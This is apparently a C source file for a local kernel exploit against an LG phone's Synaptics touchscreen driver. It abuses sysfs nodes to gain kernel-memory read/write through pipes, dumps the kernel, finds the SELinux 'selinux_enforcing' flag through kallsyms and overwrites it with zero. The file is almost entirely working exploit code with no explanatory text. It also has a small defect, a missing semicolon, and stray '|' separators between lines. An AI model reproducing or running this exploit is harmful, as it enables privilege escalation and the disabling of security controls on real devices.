#include <stddef.h>
|
#include <stdint.h>
|
#include <stdio.h>
|
#include <stdlib.h>
|
#include <string.h>
|
|
#include <fcntl.h>
|
#include <sys/mman.h>
|
#include <sys/types.h>
|
#include <unistd.h>
|
|
#include "kallsyms_in_memory.h"
|
|
static void hexdump(char* buf, size_t buf_len) {
|
size_t i, j, line_base = 0;
|
for (i = 0; i < buf_len; ++i) {
|
if (i % 16 == 0) {
|
if (i != line_base) {
|
fprintf(stderr, "\n");
|
line_base = i;
|
}
|
fprintf(stderr, "%04zx: ", i);
|
}
|
fprintf(stderr, "%02x ", ((int)buf[i] & 0xff));
|
}
|
fprintf(stderr, "\n");
|
}
|
|
static bool readn(int fd, char* buf, size_t buf_len) {
|
char* ptr = buf;
|
ssize_t result = 0;
|
|
while (ptr < buf + buf_len) {
|
result = read(fd, ptr, buf_len - (size_t)(ptr - buf));
|
if (result < 0) {
|
return false;
|
}
|
else {
|
ptr += result;
|
}
|
}
|
|
return true;
|
}
|
|
static bool writen(int fd, char* buf, size_t buf_len) {
|
char* ptr = buf;
|
ssize_t result = 0;
|
|
while (ptr < buf + buf_len) {
|
result = write(fd, ptr, buf_len - (size_t)(ptr - buf));
|
if (result < 0) {
|
return false;
|
}
|
else {
|
ptr += result;
|
}
|
}
|
|
return true;
|
}
|
|
static bool kreadall(char* address, char** out, size_t* out_len) {
|
int pipe_fd[2];
|
char* kptr = address;
|
size_t read_len = 0;
|
|
if (pipe(pipe_fd) < 0) {
|
return false;
|
}
|
|
while (1) {
|
if (*out_len < read_len + 0x1000) {
|
*out_len += 0x10000;
|
*out = realloc(*out, *out_len);
|
}
|
|
if (!writen(pipe_fd[1], kptr, 0x1000)) {
|
break;
|
}
|
|
readn(pipe_fd[0], &(*out)[read_len], 0x1000);
|
read_len += 0x1000;
|
kptr += 0x1000;
|
}
|
|
close(pipe_fd[0]);
|
close(pipe_fd[1]);
|
|
return true;
|
}
|
|
static bool kreadn(char* address, void* buf, size_t buf_len) {
|
int pipe_fd[2];
|
|
if (pipe(pipe_fd) < 0) {
|
return false;
|
}
|
|
if (!writen(pipe_fd[1], address, buf_len)) {
|
return false;
|
}
|
|
readn(pipe_fd[0], buf, buf_len);
|
|
close(pipe_fd[0]);
|
close(pipe_fd[1]);
|
|
return true;
|
}
|
|
static bool kwriten(char* address, void* buf, size_t buf_len) {
|
int pipe_fd[2];
|
|
if (pipe(pipe_fd) < 0) {
|
return false;
|
}
|
|
writen(pipe_fd[1], buf, buf_len);
|
|
if (!readn(pipe_fd[0], address, buf_len)) {
|
return false;
|
}
|
|
close(pipe_fd[0]);
|
close(pipe_fd[1]);
|
|
return true;
|
}
|
|
static bool write_mfts() {
|
bool result = true;
|
int fd = 0;
|
|
fd = open("/sys/devices/virtual/input/lge_touch/mfts", O_WRONLY);
|
if (fd >= 0) {
|
if (!writen(fd, "5", 2)) {
|
fprintf(stderr, "[!] write failed!");
|
result = false;
|
}
|
|
close(fd);
|
} else {
|
fprintf(stderr, "[!] open failed!");
|
result = false;
|
}
|
|
return result;
|
}
|
|
static bool read_sd () {
|
bool result = true;
|
int fd = 0;
|
char buf[0x1000];
|
|
fd = open("/sys/devices/virtual/input/lge_touch/sd", O_RDONLY);
|
if (fd >= 0) {
|
if (0 > read(fd, buf, sizeof(buf))) {
|
fprintf(stderr, "[!] read failed!");
|
result = false;
|
}
|
|
close(fd);
|
} else {
|
fprintf(stderr, "[!] open failed!");
|
result = false;
|
}
|
|
return result;
|
}
|
|
static bool set_kernel_ds() {
|
if (!write_mfts()) {
|
return false;
|
}
|
else if (!read_sd()) {
|
return false;
|
}
|
|
return true;
|
}
|
|
int main(int argc, char** argv) {
|
fprintf(stderr, "-- LG touchscreen_synaptics.c write_file kernel exploit --\n");
|
fprintf(stderr, "[0] setting KERNEL_DS\n");
|
if (set_kernel_ds()) {
|
kallsyms* kernel_symbols = NULL;
|
char* kernel = NULL;
|
size_t kernel_len = 0;
|
char* selinux_enforcing = NULL;
|
int value = 0;
|
|
fprintf(stderr, "[0] reading kernel\n");
|
kreadall((char*)0xffffffc000080000ull, &kernel, &kernel_len);
|
hexdump(kernel, 0x100);
|
|
fprintf(stderr, "[0] parsing kallsyms\n");
|
kernel_symbols = kallsyms_in_memory_init((unsigned long*)kernel, kernel_len);
|
selinux_enforcing = (char*)kallsyms_in_memory_lookup_name(kernel_symbols, "selinux_enforcing")
|
fprintf(stderr, "[0] address of selinux_enforcing %p\n", selinux_enforcing);
|
|
kreadn(selinux_enforcing, &value, sizeof(value));
|
fprintf(stderr, "[0] selinux_enforcing = %i\n", value);
|
|
value = 0;
|
kwriten(selinux_enforcing, &value, sizeof(value));
|
}
|
|
return 0;
|
}
|